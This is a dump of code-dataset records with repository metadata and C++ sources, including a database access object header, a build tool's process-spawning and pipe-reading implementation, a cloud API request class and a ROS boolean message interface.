hexsha
stringlengths
40
40
size
int64
19
11.4M
ext
stringclasses
13 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
270
max_stars_repo_name
stringlengths
5
110
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
9
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
270
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
9
max_issues_count
float64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
270
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
9
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
19
11.4M
avg_line_length
float64
1.93
229k
max_line_length
int64
12
688k
alphanum_fraction
float64
0.07
0.99
matches
listlengths
1
10
cf87b50c4aef208fb393bf3fa63d208d8e039bee
1,213
hpp
C++
dev/Basic/long/database/dao/PrimarySchoolDao.hpp
gusugusu1018/simmobility-prod
d30a5ba353673f8fd35f4868c26994a0206a40b6
[ "MIT" ]
50
2018-12-21T08:21:38.000Z
2022-01-24T09:47:59.000Z
dev/Basic/long/database/dao/PrimarySchoolDao.hpp
gusugusu1018/simmobility-prod
d30a5ba353673f8fd35f4868c26994a0206a40b6
[ "MIT" ]
2
2018-12-19T13:42:47.000Z
2019-05-13T04:11:45.000Z
dev/Basic/long/database/dao/PrimarySchoolDao.hpp
gusugusu1018/simmobility-prod
d30a5ba353673f8fd35f4868c26994a0206a40b6
[ "MIT" ]
27
2018-11-28T07:30:34.000Z
2022-02-05T02:22:26.000Z
/* * PrimarySchoolDao.hpp * * Created on: 10 Mar 2016 * Author: gishara */ #pragma once #include "database/dao/SqlAbstractDao.hpp" #include "database/entity/PrimarySchool.hpp" namespace sim_mob { namespace long_term { /** * Data Access Object to primary_school table on data source. */ class PrimarySchoolDao : public db::SqlAbstractDao<PrimarySchool> { public: PrimarySchoolDao(db::DB_Connection& connection); virtual ~PrimarySchoolDao(); private: /** * Fills the given outObj with all values contained on Row. * @param result row with data to fill the out object. * @param outObj to fill. */ void fromRow(db::Row& result, PrimarySchool& outObj); /** * Fills the outParam with all values to insert or update on datasource. * @param data to get values. * @param outParams to put the data parameters. * @param update tells if operation is an Update or Insert. */ void toRow(PrimarySchool& data, db::Parameters& outParams, bool update); }; } }
29.585366
84
0.582852
[ "object" ]
cf890978718160a849877eb08c3bc701dfe4947a
28,768
cpp
C++
fastbuild-v1.02/Code/Core/Process/Process.cpp
jj4jj/TurboBuildUE4
497f0944c8d04d70e3656a34c145d21f431366a5
[ "MIT" ]
11
2020-08-28T02:11:22.000Z
2021-09-11T11:29:53.000Z
fastbuild-v1.02/Code/Core/Process/Process.cpp
jj4jj/TurboBuildUE4
497f0944c8d04d70e3656a34c145d21f431366a5
[ "MIT" ]
1
2020-11-23T13:35:00.000Z
2020-11-23T13:35:00.000Z
fastbuild-v1.02/Code/Core/Process/Process.cpp
jj4jj/TurboBuildUE4
497f0944c8d04d70e3656a34c145d21f431366a5
[ "MIT" ]
5
2020-10-22T11:16:11.000Z
2021-04-01T10:20:09.000Z
// Process.cpp //------------------------------------------------------------------------------ // Includes //------------------------------------------------------------------------------ #include "Process.h" #if !defined( __APPLE__ ) || !defined( APPLE_PROCESS_USE_NSTASK ) #include "Core/Env/Assert.h" #include "Core/FileIO/FileIO.h" #include "Core/Math/Constants.h" #include "Core/Math/Conversions.h" #include "Core/Process/Atomic.h" #include "Core/Process/Thread.h" #include "Core/Profile/Profile.h" #include "Core/Strings/AStackString.h" #include "Core/Strings/AString.h" #include "Core/Time/Timer.h" #include "Core/Tracing/Tracing.h" #if defined( __WINDOWS__ ) #include "Core/Env/WindowsHeader.h" #include <TlHelp32.h> #endif #if defined( __LINUX__ ) || defined( __APPLE__ ) #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> #include <wordexp.h> #endif // Static Data //------------------------------------------------------------------------------ // CONSTRUCTOR //------------------------------------------------------------------------------ Process::Process( const volatile bool * mainAbortFlag, const volatile bool * abortFlag ) : m_Started( false ) #if defined( __WINDOWS__ ) , m_SharingHandles( false ) , m_RedirectHandles( true ) , m_StdOutRead( INVALID_HANDLE_VALUE ) , m_StdErrRead( INVALID_HANDLE_VALUE ) , m_StdInWrite( INVALID_HANDLE_VALUE ) #endif #if defined( __LINUX__ ) || defined( __APPLE__ ) , m_ChildPID( -1 ) , m_HasAlreadyWaitTerminated( false ) #endif , m_HasAborted( false ) , m_MainAbortFlag( mainAbortFlag ) , m_AbortFlag( abortFlag ) { #if defined( __WINDOWS__ ) static_assert( sizeof( m_ProcessInfo ) == sizeof( PROCESS_INFORMATION ), "Unexpected sizeof(PROCESS_INFORMATION)" ); #endif } // DESTRUCTOR //------------------------------------------------------------------------------ Process::~Process() { if ( m_Started ) { WaitForExit(); } } // KillProcessTreeInternal //------------------------------------------------------------------------------ #if defined( __WINDOWS__ ) void Process::KillProcessTreeInternal( const void * hProc, const uint32_t processID, const uint64_t processCreationTime ) { PROCESSENTRY32 pe; memset( &pe, 0, sizeof( PROCESSENTRY32) ); pe.dwSize = sizeof( PROCESSENTRY32 ); const HANDLE hSnap = ::CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if ( ::Process32First( hSnap, &pe ) ) { // find child processes do { // Ignore any process that is not a child if ( pe.th32ParentProcessID != processID ) { continue; } // Handle pid re-use by ensuring process started after parent const uint32_t childProcessId = pe.th32ProcessID; const HANDLE hChildProc = ::OpenProcess( PROCESS_ALL_ACCESS, FALSE, childProcessId ); if ( hChildProc ) { const uint64_t childProcessCreationTime = GetProcessCreationTime( hChildProc ); if ( childProcessCreationTime < processCreationTime ) { ::CloseHandle( hChildProc ); continue; // Cannot be a child because it was created before the parent } // We should never see the main process because that's handled above ASSERT( childProcessId != GetCurrentProcessId() ); // Recursion KillProcessTreeInternal( hChildProc, childProcessId, childProcessCreationTime ); ::CloseHandle( hChildProc ); } } while ( ::Process32Next( hSnap, &pe ) ); } ::CloseHandle( hSnap ); // kill this process on the way back up the recursion ::TerminateProcess( (HANDLE)hProc, 1 ); } #endif // GetProcessStartTime //------------------------------------------------------------------------------ #if defined( __WINDOWS__ ) /*static*/ uint64_t Process::GetProcessCreationTime( const void * hProc ) { if ( hProc == 0 ) { return 0; } // Get process start time FILETIME creationFileTime, unused; VERIFY( GetProcessTimes( (HANDLE)hProc, &creationFileTime, &unused, &unused, &unused ) ); // Return start time in a more convenient format const uint64_t childProcessCreationTime = ( (uint64_t)creationFileTime.dwHighDateTime << 32 ) | creationFileTime.dwLowDateTime; return childProcessCreationTime; } #endif // KillProcessTree //------------------------------------------------------------------------------ void Process::KillProcessTree() { #if defined( __WINDOWS__ ) const uint32_t childProcessId = GetProcessInfo().dwProcessId; const HANDLE hChildProc = ::OpenProcess( PROCESS_ALL_ACCESS, FALSE, childProcessId ); if ( hChildProc ) { KillProcessTreeInternal( hChildProc, childProcessId, GetProcessCreationTime( hChildProc ) ); ::CloseHandle( hChildProc ); } #elif defined( __LINUX__ ) || defined( __APPLE__ ) // Kill all processes in the process group of the child process. kill( -m_ChildPID, SIGKILL ); #else #error Unknown platform #endif } // Spawn //------------------------------------------------------------------------------ bool Process::Spawn( const char * executable, const char * args, const char * workingDir, const char * environment, bool shareHandles ) { PROFILE_FUNCTION ASSERT( !m_Started ); ASSERT( executable ); if ( m_MainAbortFlag && AtomicLoadRelaxed( m_MainAbortFlag ) ) { // Once main process has aborted, we no longer permit spawning sub-processes. return false; } #if defined( __WINDOWS__ ) // Set up the start up info struct. STARTUPINFO si; ZeroMemory( &si, sizeof(STARTUPINFO) ); si.cb = sizeof( STARTUPINFO ); si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; SECURITY_ATTRIBUTES sa; ZeroMemory( &sa, sizeof( SECURITY_ATTRIBUTES ) ); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = nullptr; m_SharingHandles = shareHandles; if ( m_RedirectHandles ) { // create the pipes if ( shareHandles ) { si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); si.hStdError = GetStdHandle(STD_ERROR_HANDLE); si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); } else { HANDLE stdOutWrite = INVALID_HANDLE_VALUE; HANDLE stdErrWrite = INVALID_HANDLE_VALUE; HANDLE stdInRead = INVALID_HANDLE_VALUE; bool ok = true; ok = ok && CreatePipe( &m_StdOutRead, &stdOutWrite, &sa, MEGABYTE ); ok = ok && CreatePipe( &m_StdErrRead, &stdErrWrite, &sa, MEGABYTE ); ok = ok && CreatePipe( &stdInRead, &m_StdInWrite, &sa, MEGABYTE ); // Handle failure if ( !ok ) { if ( m_StdOutRead != INVALID_HANDLE_VALUE ) { ::CloseHandle( m_StdOutRead ); } if ( m_StdErrRead != INVALID_HANDLE_VALUE ) { ::CloseHandle( m_StdErrRead ); } if ( m_StdInWrite != INVALID_HANDLE_VALUE ) { ::CloseHandle( m_StdInWrite ); } if ( stdOutWrite != INVALID_HANDLE_VALUE ) { ::CloseHandle( stdOutWrite ); } if ( stdErrWrite != INVALID_HANDLE_VALUE ) { ::CloseHandle( stdErrWrite ); } if ( stdInRead != INVALID_HANDLE_VALUE ) { ::CloseHandle( stdInRead ); } return false; } // Prevent child inheriting handles, to avoid deadlocks VERIFY( SetHandleInformation( m_StdOutRead, HANDLE_FLAG_INHERIT, 0 ) ); VERIFY( SetHandleInformation( m_StdErrRead, HANDLE_FLAG_INHERIT, 0 ) ); VERIFY( SetHandleInformation( m_StdInWrite, HANDLE_FLAG_INHERIT, 0 ) ); si.hStdOutput = stdOutWrite; si.hStdError = stdErrWrite; si.hStdInput = stdInRead; } si.dwFlags |= STARTF_USESTDHANDLES; } // Make sure the first arg is the executable // We also need to make a copy, as CreateProcess can write back to this string AStackString< 1024 > fullArgs; fullArgs += '\"'; fullArgs += executable; fullArgs += '\"'; if ( args ) { fullArgs += ' '; fullArgs += args; } // create the child PRAGMA_DISABLE_PUSH_MSVC( 6335 ) // False positive: Leaking process information handle '%s' if ( !CreateProcess( nullptr, //executable, fullArgs.Get(), nullptr, nullptr, (BOOL)m_RedirectHandles, // inherit handles 0, (void *)environment, workingDir, &si, (LPPROCESS_INFORMATION)&m_ProcessInfo ) ) { return false; } PRAGMA_DISABLE_POP_MSVC // 6335 if ( m_RedirectHandles && !shareHandles ) { // Close the "other" end of the pipes to avoid deadlocks ::CloseHandle( si.hStdOutput ); ::CloseHandle( si.hStdError ); ::CloseHandle( si.hStdInput ); } m_Started = true; return true; #elif defined( __LINUX__ ) || defined( __APPLE__ ) (void)shareHandles; // unsupported // create StdOut and StdErr pipes to capture output of spawned process int stdOutPipeFDs[ 2 ]; int stdErrPipeFDs[ 2 ]; VERIFY( pipe( stdOutPipeFDs ) == 0 ); VERIFY( pipe( stdErrPipeFDs ) == 0 ); // Increase buffer sizes to reduce stalls #if defined( __LINUX__ ) // On systems with many CPU cores, this can fail due to per-process // limits being reached, so consider this a hint only. // (We only increase the size of the stdout to avoid "wasting" memory // accelerating the stderr, which is the uncommon case to write to) fcntl( stdOutPipeFDs[ 1 ], F_SETPIPE_SZ, ( 512 * 1024 ) ); #endif // prepare args Array< AString > splitArgs( 64, true ); Array< const char * > argVector( 64, true ); argVector.Append( executable ); // first arg is exe name if ( args ) { // Tokenize //AStackString<> argCopy( args ); //argCopy.Tokenize( splitArgs ); // Build Vector //for ( AString & arg : splitArgs ) wordexp_t expResult; memset(&expResult, 0, sizeof(wordexp_t)); int wordRes = wordexp( args, &expResult, 0 ); if (wordRes != 0) return false; char** words = expResult.we_wordv; unsigned int wordCount = expResult.we_wordc; // Set capacity here to avoid reallocation while appending splitArgs.SetCapacity(wordCount); argVector.SetCapacity(wordCount + 1); // + 1 for the nullptr terminator for ( unsigned int wordIndex = 0; wordIndex < wordCount; ++wordIndex ) { //if ( arg.BeginsWith( '"' ) && arg.EndsWith( '"' ) ) //{ // // strip quotes // arg.SetLength( arg.GetLength() - 1 ); // trim end quote // argVector.Append( arg.Get() + 1 ); // skip start quote // continue; //} //argVector.Append( arg.Get() ); // leave arg as-is // Make a copy of the string and stick it in splitArgs, as the strings allocated // by wordexp will be freed when we leave this scope. splitArgs.Append( AString( words[wordIndex] ) ); argVector.Append( splitArgs.Top().Get() ); } wordfree( &expResult ); } argVector.Append( nullptr ); // argv must have be nullptr terminated // prepare environment Array< const char* > envVector( 8, true ); if ( environment ) { // Iterate double-null terminated string vector while( *environment != 0 ) { envVector.Append( environment ); environment += strlen( environment ); environment += 1; // skip null terminator for string } } envVector.Append( nullptr ); // env must be terminated with a nullptr // fork the process const pid_t childProcessPid = fork(); if ( childProcessPid == -1 ) { // cleanup pipes VERIFY( close( stdOutPipeFDs[ 0 ] ) == 0 ); VERIFY( close( stdOutPipeFDs[ 1 ] ) == 0 ); VERIFY( close( stdErrPipeFDs[ 0 ] ) == 0 ); VERIFY( close( stdErrPipeFDs[ 1 ] ) == 0 ); ASSERT( false ); // fork failed - should not happen in normal operation return false; } const bool isChild = ( childProcessPid == 0 ); if ( isChild ) { // Put child process into its own process group. // This will allow as to send signals to the whole group which we use to implement KillProcessTree. // The new process group will have ID equal to the PID of the child process. VERIFY( setpgid( 0, 0 ) == 0 ); VERIFY( dup2( stdOutPipeFDs[ 1 ], STDOUT_FILENO ) != -1 ); VERIFY( dup2( stdErrPipeFDs[ 1 ], STDERR_FILENO ) != -1 ); VERIFY( close( stdOutPipeFDs[ 0 ] ) == 0 ); VERIFY( close( stdOutPipeFDs[ 1 ] ) == 0 ); VERIFY( close( stdErrPipeFDs[ 0 ] ) == 0 ); VERIFY( close( stdErrPipeFDs[ 1 ] ) == 0 ); if ( workingDir ) { VERIFY( chdir( workingDir ) == 0 ); } // transfer execution to new executable char * const * argV = (char * const *)argVector.Begin(); if ( environment ) { char * const * envV = (char * const *)envVector.Begin(); execve( executable, argV, envV ); } else { execv( executable, argV ); } exit( -1 ); // only get here if execv fails } else { // close write pipes (we never write anything) VERIFY( close( stdOutPipeFDs[ 1 ] ) == 0 ); VERIFY( close( stdErrPipeFDs[ 1 ] ) == 0 ); // keep pipes for reading child process m_StdOutRead = stdOutPipeFDs[ 0 ]; m_StdErrRead = stdErrPipeFDs[ 0 ]; m_ChildPID = (int)childProcessPid; // TODO: How can we tell if child spawn failed? m_Started = true; m_HasAlreadyWaitTerminated = false; return true; } #else #error Unknown platform #endif } // IsRunning //---------------------------------------------------------- bool Process::IsRunning() const { ASSERT( m_Started ); #if defined( __WINDOWS__ ) switch ( WaitForSingleObject( GetProcessInfo().hProcess, 0 ) ) { case WAIT_OBJECT_0: return false; case WAIT_TIMEOUT: return true; } ASSERT( false ); // we should never get here return false; #elif defined( __LINUX__ ) || defined( __APPLE__ ) // already waited? if ( m_HasAlreadyWaitTerminated ) { return false; } // non-blocking "wait" int status( -1 ); pid_t result = waitpid( m_ChildPID, &status, WNOHANG ); ASSERT ( result != -1 ); // usage error if ( result == 0 ) { return true; // Still running } // store wait result: can't call again if we just cleaned up process ASSERT( result == m_ChildPID ); if ( WIFEXITED( status ) ) { m_ReturnStatus = WEXITSTATUS( status ); // process terminated normally, use exit code } else if ( WIFSIGNALED( status ) ) { m_ReturnStatus = -( WTERMSIG( status ) ); // process was terminated by a signal, use negative signal value } else if ( WIFSTOPPED( status ) ) { return true; // process was stopped, it is not terminated yet } else { m_ReturnStatus = status; // some other unexpected state change, treat it as a failure } m_HasAlreadyWaitTerminated = true; return false; // no longer running #else #error Unknown platform #endif } // WaitForExit //------------------------------------------------------------------------------ int32_t Process::WaitForExit() { ASSERT( m_Started ); m_Started = false; #if defined( __WINDOWS__ ) DWORD exitCode = 0; if ( m_HasAborted == false ) { // Don't wait if using jobs and the process has been aborted. // It will be killed along with the fbuild process if the TerminateProcess has failed for any reason and // it is useless to wait for it was anyways we are reporting a failing exit code. // Also, This accelerate further more the cancellation. // wait for it to finish VERIFY( WaitForSingleObject( GetProcessInfo().hProcess, INFINITE ) == WAIT_OBJECT_0 ); // get the result code VERIFY( GetExitCodeProcess( GetProcessInfo().hProcess, (LPDWORD)&exitCode ) ); } // cleanup VERIFY( ::CloseHandle( m_StdOutRead ) ); VERIFY( ::CloseHandle( m_StdErrRead ) ); VERIFY( ::CloseHandle( m_StdInWrite ) ); VERIFY( ::CloseHandle( GetProcessInfo().hProcess ) ); VERIFY( ::CloseHandle( GetProcessInfo().hThread ) ); return (int32_t)exitCode; #elif defined( __LINUX__ ) || defined( __APPLE__ ) VERIFY( close( m_StdOutRead ) == 0 ); VERIFY( close( m_StdErrRead ) == 0 ); if ( m_HasAlreadyWaitTerminated == false ) { int status; for( ;; ) { pid_t ret = waitpid( m_ChildPID, &status, 0 ); if ( ret == -1 ) { if ( errno == EINTR ) { continue; // Try again } ASSERT( false ); // Usage error } ASSERT( ret == m_ChildPID ); if ( WIFEXITED( status ) ) { m_ReturnStatus = WEXITSTATUS( status ); // process terminated normally, use exit code } else if ( WIFSIGNALED( status ) ) { m_ReturnStatus = -( WTERMSIG( status ) ); // process was terminated by a signal, use negative signal value } else if ( WIFSTOPPED( status ) ) { continue; // process was stopped, keep waiting for termination } else { m_ReturnStatus = status; // some other unexpected state change, treat it as a failure } break; } } return m_ReturnStatus; #else #error Unknown platform #endif } // Detach //------------------------------------------------------------------------------ void Process::Detach() { ASSERT( m_Started ); m_Started = false; #if defined( __WINDOWS__ ) // cleanup if ( m_StdOutRead != INVALID_HANDLE_VALUE ) { ::CloseHandle( m_StdOutRead ); } if ( m_StdErrRead != INVALID_HANDLE_VALUE ) { ::CloseHandle( m_StdErrRead ); } if ( m_StdInWrite != INVALID_HANDLE_VALUE ) { ::CloseHandle( m_StdInWrite ); } VERIFY( ::CloseHandle( GetProcessInfo().hProcess ) ); VERIFY( ::CloseHandle( GetProcessInfo().hThread ) ); #elif defined( __APPLE__ ) // TODO:MAC Implement Process #elif defined( __LINUX__ ) ASSERT( false ); // TODO:LINUX Implement Process #else #error Unknown platform #endif } // ReadAllData //------------------------------------------------------------------------------ bool Process::ReadAllData( AString & outMem, AString & errMem, uint32_t timeOutMS ) { Timer t; //#if defined( __LINUX__ ) #if defined( __LINUX__ ) || defined( __APPLE__ ) // Start with a short sleep interval to allow rapid termination of // short-lived processes. The timeout increases during periods of // no output and reset when receiving output to balance responsiveness // with overhead. uint32_t sleepIntervalMS = 1; #endif bool processExited = false; for ( ;; ) { const bool mainAbort = ( m_MainAbortFlag && AtomicLoadRelaxed( m_MainAbortFlag ) ); const bool abort = ( m_AbortFlag && AtomicLoadRelaxed( m_AbortFlag ) ); if ( abort || mainAbort ) { PROFILE_SECTION( "Abort" ) KillProcessTree(); m_HasAborted = true; break; } const uint32_t prevOutSize = outMem.GetLength(); const uint32_t prevErrSize = errMem.GetLength(); Read( m_StdOutRead, outMem ); Read( m_StdErrRead, errMem ); // did we get some data? if ( ( prevOutSize != outMem.GetLength() ) || ( prevErrSize != errMem.GetLength() ) ) { //#if defined( __LINUX__ ) // Reset sleep interval #if defined( __LINUX__ ) || defined( __APPLE__ ) // Reset sleep interval sleepIntervalMS = 1; #endif continue; // try reading again right away incase there is more } // nothing to read right now #if defined( __WINDOWS__ ) if ( processExited == false ) { DWORD result = WaitForSingleObject( GetProcessInfo().hProcess, 15 ); if ( result == WAIT_TIMEOUT ) { // Check if timeout is hit if ( ( timeOutMS > 0 ) && ( t.GetElapsedMS() >= (float)timeOutMS ) ) { Terminate(); return false; // Timed out } continue; // still running - try to read } else { // exited - will do one more read ASSERT( result == WAIT_OBJECT_0 ); } } #else if ( IsRunning() ) { // Check if timeout is hit if ( ( timeOutMS > 0 ) && ( t.GetElapsedMS() >= timeOutMS ) ) { Terminate(); return false; // Timed out } // no data available, but process is still going, so wait /* #if defined( __OSX__ ) // On OSX there seems to be no way to set the pipe bufffer // size so we must instead wake up frequently to avoid the // writer being blocked. Thread::Sleep( 2 ); #else // TODO:C Investigate waiting on an event when process terminates // to reduce overall process spawn time Thread::Sleep( sleepIntervalMS ); // Increase sleep interval upto limit sleepIntervalMS = Math::Min<uint32_t>( sleepIntervalMS * 2, 8 ); #endif */ // TODO:C Investigate waiting on an event when process terminates // to reduce overall process spawn time Thread::Sleep( sleepIntervalMS ); // Increase sleep interval upto limit sleepIntervalMS = Math::Min<uint32_t>( sleepIntervalMS * 2, 8 ); continue; } #endif // process exited - is this the first time to this point? if ( processExited == false ) { processExited = true; continue; // get remaining output } break; // all done } return true; } // Read //------------------------------------------------------------------------------ #if defined( __WINDOWS__ ) void Process::Read( HANDLE handle, AString & buffer ) { // anything available? DWORD bytesAvail( 0 ); if ( !::PeekNamedPipe( handle, nullptr, 0, nullptr, (LPDWORD)&bytesAvail, nullptr ) ) { return; } if ( bytesAvail == 0 ) { return; } // Will data fit in existing buffer? const uint32_t sizeSoFar = buffer.GetLength(); const uint32_t newSize = ( sizeSoFar + bytesAvail ); if ( newSize > buffer.GetReserved() ) { // Expand buffer for new data in large chunks const uint32_t newBufferSize = Math::Max< uint32_t >( newSize, buffer.GetReserved() + ( 16 * MEGABYTE ) ); buffer.SetReserved( newBufferSize ); } // read the new data DWORD bytesReadNow = 0; if ( !::ReadFile( handle, buffer.Get() + sizeSoFar, bytesAvail, (LPDWORD)&bytesReadNow, 0 ) ) { ASSERT( false ); // error! } // Update length buffer.SetLength( sizeSoFar + bytesReadNow ); } #endif // Read //------------------------------------------------------------------------------ #if defined( __LINUX__ ) || defined( __APPLE__ ) void Process::Read( int handle, AString & buffer ) { // any data available? timeval timeout; timeout.tv_sec = 0; timeout.tv_usec = 0; fd_set fdSet; FD_ZERO( &fdSet ); FD_SET( handle, &fdSet ); int ret = select( handle+1, &fdSet, nullptr, nullptr, &timeout ); if ( ret == -1 ) { ASSERT( false ); // usage error? return; } if ( ret == 0 ) { return; // no data available } // how much space do we have left for reading into? const uint32_t spaceInBuffer = ( buffer.GetReserved() - buffer.GetLength() ); if ( spaceInBuffer == 0 ) { // Expand buffer for new data in large chunks const uint32_t newBufferSize = ( buffer.GetReserved() + ( 16 * MEGABYTE ) ); buffer.SetReserved( newBufferSize ); } // read the new data ssize_t result = read( handle, buffer.Get() + buffer.GetLength(), spaceInBuffer ); if ( result == -1 ) { ASSERT( false ); // error! result = 0; // no bytes read } // Update length buffer.SetLength( buffer.GetLength() + (uint32_t)result ); } #endif // GetCurrentId //------------------------------------------------------------------------------ /*static*/ uint32_t Process::GetCurrentId() { #if defined( __WINDOWS__ ) return ::GetCurrentProcessId(); #elif defined( __LINUX__ ) return ::getpid(); #elif defined( __OSX__ ) return ::getpid(); #endif } // Terminate //------------------------------------------------------------------------------ void Process::Terminate() { #if defined( __WINDOWS__ ) VERIFY( ::TerminateProcess( GetProcessInfo().hProcess, 1 ) ); #else kill( m_ChildPID, SIGKILL ); #endif } //------------------------------------------------------------------------------ #endif // !defined( __APPLE__ ) || !defined( APPLE_PROCESS_USE_NSTASK )
34.702051
135
0.507613
[ "vector" ]
cf8d99df437d26a11c7931556d72e7efc5d4c671
1,677
cc
C++
cs/src/model/DescribeClusterAddonUpgradeStatusRequest.cc
iamzken/aliyun-openapi-cpp-sdk
3c991c9ca949b6003c8f498ce7a672ea88162bf1
[ "Apache-2.0" ]
89
2018-02-02T03:54:39.000Z
2021-12-13T01:32:55.000Z
cs/src/model/DescribeClusterAddonUpgradeStatusRequest.cc
iamzken/aliyun-openapi-cpp-sdk
3c991c9ca949b6003c8f498ce7a672ea88162bf1
[ "Apache-2.0" ]
89
2018-03-14T07:44:54.000Z
2021-11-26T07:43:25.000Z
cs/src/model/DescribeClusterAddonUpgradeStatusRequest.cc
aliyun/aliyun-openapi-cpp-sdk
0cf5861ece17dfb0bb251f13bf3fbdb39c0c6e36
[ "Apache-2.0" ]
69
2018-01-22T09:45:52.000Z
2022-03-28T07:58:38.000Z
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/cs/model/DescribeClusterAddonUpgradeStatusRequest.h> using AlibabaCloud::CS::Model::DescribeClusterAddonUpgradeStatusRequest; DescribeClusterAddonUpgradeStatusRequest::DescribeClusterAddonUpgradeStatusRequest() : RoaServiceRequest("cs", "2015-12-15") { setResourcePath("/clusters/[ClusterId]/components/[ComponentId]/upgradestatus"); setMethod(HttpRequest::Method::Get); } DescribeClusterAddonUpgradeStatusRequest::~DescribeClusterAddonUpgradeStatusRequest() {} std::string DescribeClusterAddonUpgradeStatusRequest::getComponentId()const { return componentId_; } void DescribeClusterAddonUpgradeStatusRequest::setComponentId(const std::string& componentId) { componentId_ = componentId; setParameter("ComponentId", componentId); } std::string DescribeClusterAddonUpgradeStatusRequest::getClusterId()const { return clusterId_; } void DescribeClusterAddonUpgradeStatusRequest::setClusterId(const std::string& clusterId) { clusterId_ = clusterId; setParameter("ClusterId", clusterId); }
31.641509
94
0.781753
[ "model" ]
cf9210be114e3f2a0a6cd56e2afa4fda5dcc158b
2,478
hpp
C++
ambs_core/include/ambs_core/ambs_base_interface/ambs_boolean_interface.hpp
IPA-KUT-CL/ambs
8e26ba5836611748d31f23f8354eb00aba629b00
[ "Apache-2.0" ]
null
null
null
ambs_core/include/ambs_core/ambs_base_interface/ambs_boolean_interface.hpp
IPA-KUT-CL/ambs
8e26ba5836611748d31f23f8354eb00aba629b00
[ "Apache-2.0" ]
10
2021-07-22T18:07:46.000Z
2021-11-03T08:19:31.000Z
ambs_core/include/ambs_core/ambs_base_interface/ambs_boolean_interface.hpp
IPA-KUT-CL/ambs
8e26ba5836611748d31f23f8354eb00aba629b00
[ "Apache-2.0" ]
1
2021-08-16T14:04:29.000Z
2021-08-16T14:04:29.000Z
#ifndef AMBSBASEBOOLEANINTERFACE_HPP #define AMBSBASEBOOLEANINTERFACE_HPP #include "ambs_core/ambs_base_interface/ambs_base_interface.hpp" #include "ambs_msgs/BoolStamped.h" namespace ambs_base { /** * @brief A bool specialisation of AMBSTemplatedInterface. Offers two extra functions */ class AMBSBooleanInterface : public AMBSTemplatedInterface<ambs_msgs::BoolStamped> { public: AMBSBooleanInterface() {} AMBSBooleanInterface(ros::NodeHandle nh, std::string node_name, std::vector<std::string> extended_bool_inputs, std::vector<std::string> extended_bool_outputs); virtual ~AMBSBooleanInterface() {} ambs_msgs::BoolStamped constructNewBoolStamped(bool data); ambs_msgs::BoolStamped waitForTrueOnPort(std::string port); private: const double wait_loop_rate = 500; }; // --------------------------------------------------------------------------------------------------------------------- // IMPLEMENTATION // --------------------------------------------------------------------------------------------------------------------- inline AMBSBooleanInterface::AMBSBooleanInterface(ros::NodeHandle nh, std::string node_name, std::vector<std::string> extended_bool_inputs, std::vector<std::string> extended_bool_outputs) { init(extended_bool_inputs, extended_bool_outputs, nh, node_name); } /** * @brief Create a new BoolStamped type message * * @param[in] data The data to be held by the new msg * @returns msg The message to be returned */ inline ambs_msgs::BoolStamped AMBSBooleanInterface::constructNewBoolStamped(bool data) { ambs_msgs::BoolStamped msg; msg.data = data; msg.header = std_msgs::Header(); msg.header.stamp = ros::Time::now(); return msg; } /** * @brief Wait for TRUE on a port * @param port The port to wait on * @returns The msg that set TRUE */ inline ambs_msgs::BoolStamped AMBSBooleanInterface::waitForTrueOnPort(std::string port) { std::unique_lock<std::mutex> lock(mutexes_[interfaces_[port].index_]); cond_vars_[interfaces_[port].index_].wait(lock, [this, port]() -> bool{return getPortMsg(port).data;}); ambs_msgs::BoolStamped msg = *interfaces_[port].msg_; resetPort(port); return msg; } } // namespace ambs_base #endif // AMBSBASEBOOLEANINTERFACE_HPP
33.486486
120
0.615416
[ "vector" ]
cf9f2246c77791530d477a85bc06871323603e81
1,844
hpp
C++
include/fcppt/variant/compare.hpp
vinzenz/fcppt
3f8cc5babdee178a9bbd06ca3ce7ad405d19aa6a
[ "BSL-1.0" ]
null
null
null
include/fcppt/variant/compare.hpp
vinzenz/fcppt
3f8cc5babdee178a9bbd06ca3ce7ad405d19aa6a
[ "BSL-1.0" ]
null
null
null
include/fcppt/variant/compare.hpp
vinzenz/fcppt
3f8cc5babdee178a9bbd06ca3ce7ad405d19aa6a
[ "BSL-1.0" ]
null
null
null
